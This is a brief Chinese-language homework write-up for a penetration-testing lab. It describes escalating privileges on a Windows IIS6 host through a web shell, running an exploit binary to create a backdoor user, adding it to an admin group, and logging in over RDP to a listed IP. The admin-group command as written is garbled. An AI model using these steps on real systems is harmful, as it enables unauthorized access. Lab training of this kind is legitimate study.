system power作业提交

1、在靶场五的基础上进行提权，在菜刀上找到E:5\admin\Databackup\下的cmd.exe和iis6.exe，在虚拟终端打开cmd.exe。

2、运行命令whoami查看自己的权限，发现是一个普通权限。

3、因为cmd.exe不是系统权限所以要用到exp提权，使用命令iis6.exe "net user test 123 /add"添加用户test，密码为123.

4、使用命令 net localgroup 查看用户组。

5、使用命令 iis6.exe "net localgroup test /add" 将用户添加到最高权限管理组。

6、运行mstsc.exe 连接目标电脑120.203.13.111:3389,输入创建的用户和密码成功连接。